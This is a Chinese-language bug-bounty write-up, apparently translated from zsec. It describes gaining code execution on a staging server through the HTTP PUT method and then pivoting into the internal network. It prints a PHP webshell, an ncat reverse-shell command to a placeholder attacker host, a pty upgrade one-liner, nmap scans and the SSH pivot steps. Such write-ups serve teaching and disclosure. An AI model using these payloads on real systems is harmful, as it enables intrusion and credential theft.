簡介

此前我曾發表過一篇ltr101的文章，這是我該系列的第二篇。本文我將為大家展示最近我在賞金計劃中，發現的一個非常cool的漏洞。以及我是如何通過一個廢棄的Web伺服器實現遠端執行程式碼的，並最終成功滲透目標內網獲取到有價值資訊的。

你的子域名叫什麼？

這一切都是從資訊偵察開始的查詢子域，解析為IP然後檢視埠。不過這一次，我發現了一個較為奇怪的主機名，並有一個應用程式正執行在64351埠上。這並不是我們平時常見的web埠，需要我們進行權全埠的掃描才能發現。該域名類似於以下（出於保密原因，其中省略了該公司資訊）：

fast.force.staging.intcorp.yoda.domain
 
.com

對於這個域名我的腦海中蹦出了以下猜測：

• 1）這是除admin，vpn，email等以外的唯一一個域
• 2）故意提到intcorp引起我的興趣
• 3）這不是子域的平均長度
• 4） fast force staging intcorp yoda可能都是隨機產生的！

根據我的想法，我解析了該域名併成功獲取到了一個IP，但通過瀏覽器打開發現沒有返回任何資訊，我決定利用nmap來對它進行埠掃描：

nmap -sTV -p- -Pn --max-retries 3 fast.force.staging.intcorp.yoda.domain.com --version-all -oA UsethePowa
 

不一會兒掃描結果就出來瞭如下：

Starting Nmap 7.50 ( https://nmap.org ) at 2017-06-29 22:47 BST  
Nmap scan report for fast.force.staging.intcorp.yoda.domain.com (x.x.x.x)  
Host is up (0.082s latency).  
Not shown: 979 filtered ports  
PORT     STATE  SERVICE         VERSION  
22/tcp   closed ssh  
25/tcp   closed smtp?  
80/tcp   closed http  
81/tcp   closed hosts2-ns  
90/tcp    open http?  
64351/tcp open http  
2 services unrecognised despite returning data.
 

最初我在埠為64351的應用程式web根目錄中發現了一些奇怪的檔案，並且每個檔案都包含了不同名稱的phpinfo檔案。

想要將自定義的檔案上傳到該目錄，通常我們會利用檔案上傳等功能。但在這裡我沒有找到任何像遠端檔案上傳的地方，因此我只能老套的針對學校攻擊的HTTP方法。

HTTP 動詞/方法

無論是HTTP動詞/方法，本質上它們都是在向伺服器或應用程式發出請求。最常見的兩個用於下載和上傳資料到應用程式的請求方法是GET和POST。這裡我將向埠為64351的伺服器傳送一個OPTIONS請求，以獲取伺服器支援的HTTP請求方法。

從響應結果來看該應用程式接受GET，POST，HEAD以及PUT方法。前三個都很普通，但PUT請求相對較少。

PUT

我設法利用PUT方法將檔案寫入到webroot下名為test的資料夾中，這樣我就可以將編寫的任意檔案上傳至伺服器根目錄下，同時我猜測之前發現的phpinfo檔案應該也是利用PUT方法被上傳的。我快速瀏覽了我的webshell再次找到了phpinfo檔案：

所以通過PUT方法，我上傳了一個簡單的PHP webshell，其程式碼如下：

<?php  
if(isset($_REQUEST['cmd'])){  
    $cmd = ($_REQUEST["cmd"]);
    system($cmd);
    echo "</pre>$cmd<pre>";
    die;
}
?>

這段程式碼首先從cmd引數接收輸入命令，然後以系統命令執行。PUT請求成功，並且我們也成功獲取到了一個shell如下所示：

為了獲取到更多的資訊，我嘗試將webshell轉換為netcat的反向shell。很幸運！這個伺服器似乎都具備了netcat ncat的訪問。

使用以下命令我連線到了伺服器偵聽端，這裡我花了很長時間來確定連線埠，最終確定為443，因為伺服器允許訪問該埠。

webshell命令：

ncat -e /bin/bash ATTACKERHOST 443

伺服器偵聽端命令：

ncat -l -v -p 443

接著通過python one-liner我獲得了一個互動式的bash shell：

python -c 'import pty; pty.spawn("/bin/bash")'

深入挖掘

既然已經獲取到了一個互動式的shell，接下來我決定圍繞作業系統進一步的探索。很快，我在/tmp/CorpNet目錄下發現了一個引起我注意的資料夾，該資料夾下包含了以下三個其它資料夾：

• CorpVPNKeys
• CorpZT
• CitrixCorp

在這些資料夾中我挖掘到了一些非常有用的檔案，其中包括一個包含整個域的內部區域傳輸的檔案。

查詢其他主機

通過區域傳輸檔案中的資訊，我發現內部主機名與我已經發現的原始主機名類似，如下：

• staging.intcorp.jawa.domain.com 10.0.1.1
• staging.internal.sith.domain.com 10.0.1.3
• internal.vader.domain.com 10.2.1.13

看起來這個網路的系統管理員是一個星球大戰的粉絲！有許多其他主機共享了星戰命名方案。因為主機可以訪問ncat和nmap，因此我決定在這個階段做一些埠掃描。我嘗試對10.0.1.0/24這個網段進行了掃描，以發現其它有趣的主機。

一個快速的nmap -F 10.0.1.0/24掃描，從最終返回的結果我發現了一些非常有趣的埠。其中包括一臺應該是windows機器開啟的遠端桌面連線埠：3389，445，135，137，1433，2433。對於一個內部網路，RDP和SMB的開放並不鮮見。

原本我想通過nmap指令碼來繼續探索更多的資訊，但是由於當前伺服器上的nmap版本並不支援nmap指令碼，因此出現了  錯誤。

到此階段我決定發郵件提醒該公司我發現的問題，並詢問我是否可以繼續挖掘，我收到了一個非常快速簡明的回覆：

“感謝您提醒我們，你能深入到什麼程度，我們確信我們的內部網路是安全的。”

既然都這麼說了，那麼我就接受挑戰！

接受挑戰

由於我並沒有獲取到任何使用者的雜湊值或密碼，因此接下來我將嘗試是否可以目錄遍歷。我使用cat命令查看了passwd檔案，其中的一個名為emperor的使用者以及他的UID引起了我的注意：

emperor:x:0:1002:SPalpatine:/home/emperor:/bin/bash

從星球大戰的主機名判斷，該使用者名稱似乎也是引用了星戰的名稱，且UID似乎為root使用者。

不敢相信我的運氣！ 因為內部網路中還有其他幾臺主機，我猜想它們可能使用了相同的憑證登入，開啟SSH，嘗試使用emperor賬戶連線它們。

額外獎金

在經過登入憑證的嘗試，我成功連線到了internal.vader.domain.com主機， 並且emperor在這個主機上也是root許可權。

這使我能夠從這個主機上轉儲雜湊值並對其進行破解，另外我發現根私鑰被用作在原始主機發現的VPN證書的主金鑰。在這個階段，我再次向該公司寫了一份測試報告，其中包括了以下幾個問題：

• 危險的HTTP方法導致遠端執行程式碼
• 敏感檔案被儲存在檔案系統並且所有使用者可讀
• root使用者密碼在/etc/passwd下直接曝露
• /etc/shadow下的密碼加密採用的是弱雜湊演算法

小結

從單一的層面看，起初這只是一個目錄許可權和身份驗證的問題，但這使我成功上傳了webshell。雖然剛開始的許可權並不大，但通過進一步的深入挖掘和利用，我們逐漸將戰果擴大到了內網並最終獲取到了root許可權。可見一個小小的失誤，都將給公司企業帶來重大的安全問題。作為系統管理員應該避免將密碼設定與主機名或使用者相關，否則這將是非常危險的。目前該公司已經修復了該問題，並向我表達了感謝！

*參考來源：zsec，FB小編 secist 編譯，轉載來自FreeBuf.COM